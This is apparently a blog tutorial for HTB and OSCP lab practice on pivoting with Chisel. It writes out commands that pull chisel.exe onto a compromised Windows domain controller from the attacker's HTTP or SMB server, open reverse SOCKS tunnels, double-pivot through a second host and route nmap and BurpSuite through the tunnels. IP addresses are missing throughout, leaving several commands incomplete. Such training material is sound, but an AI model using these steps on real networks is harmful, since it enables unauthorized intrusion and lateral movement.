Nanobyte Security | Pivoting with Chisel - Part 2

Pivoting with Chisel - Part 2

[ HTB  OSCP  Pivoting  ]

Part 1, pivoting introduction and using SSHuttle
Part 2, pivoting with Chisel
Part 3, pivoting with Ligolo-ng
Pivoting Cheat Sheet, pivoting cheat sheet

Pivoting with Chisel - Part 2

This is a continuation of my Pivoting Basics, and Part 2, and how to use Chisel to pivot. Part 1 dove into what pivoting was, and how to pivot with SSHuttle. In this post, I will continue from where we left off. As a reminder, here is our scenario:

  • Kali Linux (Attacking Machine):
  • First Pivot Machine (Public IP):
  • First Network:
  • Second Network:
  • Second Pivot Machine:
  • Third Network:
  • Third Pivot Machine:

We are picking up from where Part 1 left off, with an established SSHuttle session to At this point, I will assume you have comrpomised DC01, and have discovered


Chisel Server

First, you will need Chisel. Head to the GitHub, and download Chisel from Releases for the architecrture of the victim, and for your Kali. I will assume that the victim is Windows. Here is the GitHub for Chisel.

Before we run anything, we first need to modify /etc/proxychains4.conf file on our Kali Linux. Add the following to the bottom of the file:

socks5 1080

The above line adds a SOCKS5 proxy, on localhost ( at port 1080. Once complete, we can stasrt our chisel listener on our Kali machine. In a terminal, run the following command:

./chisel server -p 80 --reverse

The above starts chisel, running it as a server, with the following parameters:

  • -p : listening on port 80. Why port 80? Because often unrecognized or unusual ports may be blocked by firewall rules.
  • –reverse

Now that there is a Chisel server that is listening, we now would need to drop Chisel onto the Windows DC01 machine. Here are my two methods that can accomplish this:


First, from your Kali machine, with a terminal open to the directory with your chisel.exe file, start a Python http server:

python -m http.server 80

This will start a web server using port 80 on your Kali machine. From the DC01 victim machine, use PowerShell’s Invoke-WebRequest cmdlet to download chisel.exe:

Invoke-WebRequest -URI -OutFile chisel.exe


In some cases, http may be restricted. You can then use impacket’s smb server. Start the smb server using terminal open to the directory with your chisel.exe file:

impacket-smbserver share . -smb2support

The above starts a smb server on your Kali machine, where:

  • share : the name of your share, this can be anything, this is my goto share name
  • . : This is the directory you wish to share. A period represents the current directory
  • -smb2support : Support for SMBv2

Once this is running, from the DC01 victim machine, copy the chisel.exe file:

copy \\\share\chisel.exe .

This will copy chisel.exe to the current working directory on the DC01 machine.

Chisel Client

Now, with Chisel on the victim, we can connect our DC01 agent to our Kali server. This is completed by running the following connand:

./chisel.exe client R:1080:socks

The above starts Chisel as a client on the victim, and connects back to our Kali machine:

  • : The IP address and port, separated by a colon, of our Kali machine
  • R:1080:socks : A reverse proxy, using port 1080, using a SOCKS proxy. Important! Port 1080 is the port we used in our /etc/proxychains4.conf file, and must match!

If properly setup, we will have a connection from our client:


Once the client is connected, we can begin to tunnel our traffic into the second network,, and has access to DC02:


And a connection to our server:


Using Pivot

In order to send traffic through our Chisel proxy, we must use poroxychains command:

proxychains -q nmap -Pn

The above command will use proxychains configuration to send traffic through our SOCKS proxy to our target machine. As a bonus, the nmap -Pn flag will complete nmap scans for us.

Double Chisel Pivot!

Now that we have one chisel agent running, assume we compromised DC02, and now found a final machine, FS01. Assume that FS01 is within our third network,


We can perform a double pivot, and reach this network with another Chisel pivot. With our first pivot running, we must add another line to our /etc/proxychains4.conf file, under our first change:

socks5 1080
socks5 2080

With the above completed, we can then download or copy chisel.exe to DC02 in the same manner as before, and connect similar to our first pivot:

./chisel.exe client R:2080:socks

Now that we have our second chisel client connected, we can now hit our final target machine, FS01:


Chisel and BurpSuite

One of the main benefits with Chisel, is the ability to use BurpSuite along with your pivot. This assumes that you already know how to configure your web proxy to send traffic to BurpSuite, such as using FoxyProxy. Once you have your Chisel pivot, you can setup a SOCKS Proxy within BurpSuite, by opening Settings in the top right corner, and opening Network, selecting Connections, and adding the proxy to the SOCKS proxy fields:

Proxy host:
Proxy port: 1080 (or 2080, 3080 … etc)


[ HTB  OSCP  Pivoting  ]